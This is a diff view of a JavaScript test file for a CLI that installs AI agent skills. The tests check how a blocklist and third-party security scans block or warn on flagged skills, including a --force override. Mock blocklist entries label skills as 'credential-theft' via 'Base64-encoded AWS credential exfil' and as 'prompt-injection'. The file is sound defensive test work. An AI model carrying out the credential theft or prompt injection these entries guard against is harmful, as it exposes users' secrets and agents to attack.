text: async () => "# Skill content",
|
|
499
|
+
});
|
|
500
|
+
});
|
|
501
|
+
afterEach(() => {
|
|
502
|
+
globalThis.fetch = originalFetch;
|
|
503
|
+
});
|
|
504
|
+
it("shows warning box and continues when --force + blocked (GitHub path)", async () => {
|
|
505
|
+
mockCheckBlocklist.mockResolvedValue({
|
|
506
|
+
skillName: "evil-skill",
|
|
507
|
+
threatType: "credential-theft",
|
|
508
|
+
severity: "critical",
|
|
509
|
+
reason: "Base64-encoded AWS credential exfil",
|
|
510
|
+
evidenceUrls: [],
|
|
511
|
+
discoveredAt: "2026-02-01T00:00:00Z",
|
|
512
|
+
});
|
|
513
|
+
mockRunTier1Scan.mockReturnValue(makeScanResult());
|
|
514
|
+
mockDetectInstalledAgents.mockResolvedValue([makeAgent()]);
|
|
515
|
+
mockEnsureLockfile.mockReturnValue({
|
|
516
|
+
version: 1,
|
|
517
|
+
agents: [],
|
|
518
|
+
skills: {},
|
|
519
|
+
createdAt: "2026-01-01T00:00:00.000Z",
|
|
520
|
+
updatedAt: "2026-01-01T00:00:00.000Z",
|
|
521
|
+
});
|
|
522
|
+
await addCommand("owner/evil-skill", { force: true });
|
|
523
|
+
// Should show warning but NOT exit
|
|
524
|
+
const allOutput = console.error.mock.calls
|
|
525
|
+
.map((c) => String(c[0]))
|
|
526
|
+
.join("\n");
|
|
527
|
+
expect(allOutput).toContain("WARNING");
|
|
528
|
+
expect(allOutput).toContain("malicious");
|
|
529
|
+
// Should proceed to tier 1 scan
|
|
530
|
+
expect(mockRunTier1Scan).toHaveBeenCalled();
|
|
531
|
+
});
|
|
532
|
+
it("shows warning box and continues when --force + blocked (plugin path)", async () => {
|
|
533
|
+
mockCheckBlocklist.mockResolvedValue({
|
|
534
|
+
skillName: "evil-plugin",
|
|
535
|
+
threatType: "prompt-injection",
|
|
536
|
+
severity: "critical",
|
|
537
|
+
reason: "Injects malicious prompts",
|
|
538
|
+
evidenceUrls: [],
|
|
539
|
+
discoveredAt: "2026-02-01T00:00:00Z",
|
|
540
|
+
});
|
|
541
|
+
mockExistsSync.mockReturnValue(true);
|
|
542
|
+
mockReadFileSync.mockImplementation((p) => {
|
|
543
|
+
if (p.includes("marketplace.json")) {
|
|
544
|
+
return JSON.stringify({
|
|
545
|
+
name: "test",
|
|
546
|
+
version: "1.0.0",
|
|
547
|
+
plugins: [
|
|
548
|
+
{ name: "evil-plugin", source: "./plugins/evil-plugin", version: "1.0.0" },
|
|
549
|
+
],
|
|
550
|
+
});
|
|
551
|
+
}
|
|
552
|
+
return "";
|
|
553
|
+
});
|
|
554
|
+
mockReaddirSync.mockReturnValue(["SKILL.md"]);
|
|
555
|
+
mockRunTier1Scan.mockReturnValue(makeScanResult());
|
|
556
|
+
mockDetectInstalledAgents.mockResolvedValue([makeAgent()]);
|
|
557
|
+
mockEnsureLockfile.mockReturnValue({
|
|
558
|
+
version: 1,
|
|
559
|
+
agents: [],
|
|
560
|
+
skills: {},
|
|
561
|
+
createdAt: "2026-01-01T00:00:00.000Z",
|
|
562
|
+
updatedAt: "2026-01-01T00:00:00.000Z",
|
|
563
|
+
});
|
|
564
|
+
await addCommand("source", { plugin: "evil-plugin", pluginDir: "/tmp/test", force: true });
|
|
565
|
+
const allOutput = console.error.mock.calls
|
|
566
|
+
.map((c) => String(c[0]))
|
|
567
|
+
.join("\n");
|
|
568
|
+
expect(allOutput).toContain("WARNING");
|
|
569
|
+
expect(mockRunTier1Scan).toHaveBeenCalled();
|
|
570
|
+
});
|
|
571
|
+
});
|
|
572
|
+
// ---------------------------------------------------------------------------
|
|
573
|
+
// T-016/T-017: Platform security check in GitHub path
|
|
574
|
+
// ---------------------------------------------------------------------------
|
|
575
|
+
describe("addCommand platform security check (GitHub path)", () => {
|
|
576
|
+
const originalFetch = globalThis.fetch;
|
|
577
|
+
beforeEach(() => {
|
|
578
|
+
globalThis.fetch = vi.fn().mockResolvedValue({
|
|
579
|
+
ok: true,
|
|
580
|
+
text: async () => "# Safe Skill\nNormal content",
|
|
581
|
+
});
|
|
582
|
+
mockCheckBlocklist.mockResolvedValue(null);
|
|
583
|
+
});
|
|
584
|
+
afterEach(() => {
|
|
585
|
+
globalThis.fetch = originalFetch;
|
|
586
|
+
});
|
|
587
|
+
it("blocks installation when platform reports CRITICAL findings", async () => {
|
|
588
|
+
mockCheckPlatformSecurity.mockResolvedValue({
|
|
589
|
+
hasCritical: true,
|
|
590
|
+
overallVerdict: "FAIL",
|
|
591
|
+
providers: [
|
|
592
|
+
{ provider: "semgrep", status: "FAIL", verdict: "critical", criticalCount: 3 },
|
|
593
|
+
{ provider: "snyk", status: "PASS", verdict: "clean", criticalCount: 0 },
|
|
594
|
+
],
|
|
595
|
+
reportUrl: "/skills/evil-skill/security",
|
|
596
|
+
});
|
|
597
|
+
const mockExit = vi.spyOn(process, "exit").mockImplementation(() => {
|
|
598
|
+
throw new Error("process.exit");
|
|
599
|
+
});
|
|
600
|
+
await expect(addCommand("owner/evil-skill", {})).rejects.toThrow("process.exit");
|
|
601
|
+
expect(mockExit).toHaveBeenCalledWith(1);
|
|
602
|
+
const errorOutput = console.error.mock.calls
|
|
603
|
+
.map((c) => String(c[0]))
|
|
604
|
+
.join("\n");
|
|
605
|
+
expect(errorOutput).toContain("BLOCKED");
|
|
606
|
+
expect(errorOutput).toContain("CRITICAL");
|
|
607
|
+
expect(errorOutput).toContain("semgrep");
|
|
608
|
+
// Should NOT proceed to tier 1 scan
|
|
609
|
+
expect(mockRunTier1Scan).not.toHaveBeenCalled();
|
|
610
|
+
mockExit.mockRestore();
|
|
611
|
+
});
|
|
612
|
+
it("shows warning and proceeds when CRITICAL + --force", async () => {
|
|
613
|
+
mockCheckPlatformSecurity.mockResolvedValue({
|
|
614
|
+
hasCritical: true,
|
|
615
|
+
overallVerdict: "FAIL",
|
|
616
|
+
providers: [
|
|
617
|
+
{ provider: "semgrep", status: "FAIL", verdict: "critical", criticalCount: 2 },
|
|
618
|
+
],
|
|
619
|
+
reportUrl: "/skills/evil-skill/security",
|
|
620
|
+
});
|
|
621
|
+
mockRunTier1Scan.mockReturnValue(makeScanResult());
|
|
622
|
+
mockDetectInstalledAgents.mockResolvedValue([makeAgent()]);
|
|
623
|
+
mockEnsureLockfile.mockReturnValue({
|
|
624
|
+
version: 1,
|
|
625
|
+
agents: [],
|
|
626
|
+
skills: {},
|
|
627
|
+
createdAt: "2026-01-01T00:00:00.000Z",
|
|
628
|
+
updatedAt: "2026-01-01T00:00:00.000Z",
|
|
629
|
+
});
|
|
630
|
+
await addCommand("owner/evil-skill", { force: true });
|
|
631
|
+
const errorOutput = console.error.mock.calls
|
|
632
|
+
.map((c) => String(c[0]))
|
|
633
|
+
.join("\n");
|
|
634
|
+
expect(errorOutput).toContain("WARNING");
|
|
635
|
+
expect(errorOutput).toContain("CRITICAL");
|
|
636
|
+
expect(errorOutput).toContain("semgrep");
|
|
637
|
+
// Should proceed to tier 1 scan
|
|
638
|
+
expect(mockRunTier1Scan).toHaveBeenCalled();
|
|
639
|
+
});
|
|
640
|
+
it("shows info message and proceeds when scans are PENDING", async () => {
|
|
641
|
+
mockCheckPlatformSecurity.mockResolvedValue({
|
|
642
|
+
hasCritical: false,
|
|
643
|
+
overallVerdict: "PENDING",
|
|
644
|
+
providers: [
|
|
645
|
+
{ provider: "semgrep", status: "PENDING", verdict: null, criticalCount: 0 },
|
|
646
|
+
],
|
|
647
|
+
reportUrl: "/skills/test-skill/security",
|
|
648
|
+
});
|
|
649
|
+
mockRunTier1Scan.mockReturnValue(makeScanResult());
|
|
650
|
+
mockDetectInstalledAgents.mockResolvedValue([makeAgent()]);
|
|
651
|
+
mockEnsureLockfile.mockReturnValue({
|
|
652
|
+
version: 1,
|
|
653
|
+
agents: [],
|
|
654
|
+
skills: {},
|
|
655
|
+
createdAt: "2026-01-01T00:00:00.000Z",
|
|
656
|
+
updatedAt: "2026-01-01T00:00:00.000Z",
|
|
657
|
+
});
|
|
658
|
+
await addCommand("owner/test-skill", {});
|
|
659
|
+
const logOutput = console.log.mock.calls
|
|
660
|
+
.map((c) => String(c[0]))
|
|
661
|
+
.join("\n");
|
|
662
|
+
expect(logOutput).toContain("pending");
|
|
663
|
+
// Should proceed to tier 1 scan
|
|
664
|
+
expect(mockRunTier1Scan).toHaveBeenCalled();
|
|
665
|
+
});
|
|
666
|
+
it("proceeds normally when platform check returns null (network error)", async () => {
|
|
667
|
+
mockCheckPlatformSecurity.mockResolvedValue(null);
|
|
668
|
+
mockRunTier1Scan.mockReturnValue(makeScanResult());
|
|
669
|
+
mockDetectInstalledAgents.mockResolvedValue([makeAgent()]);
|
|
670
|
+
mockEnsureLockfile.mockReturnValue({
|
|
671
|
+
version: 1,
|
|
672
|
+
agents: [],
|
|
673
|
+
skills: {},
|
|
674
|
+
createdAt: "2026-01-01T00:00:00.000Z",
|
|
675
|
+
updatedAt: "2026-01-01T00:00:00.000Z",
|
|
676
|
+
});
|
|
677
|
+
await addCommand("owner/safe-skill", {});
|
|
678
|
+
// Should proceed to tier 1 scan without any blocking
|
|
679
|
+
expect(mockRunTier1Scan).toHaveBeenCalled();
|
|
680
|
+
});
|
|
681
|
+
});
|
|
682
|
+
//# sourceMappingURL=add.test.js.map
|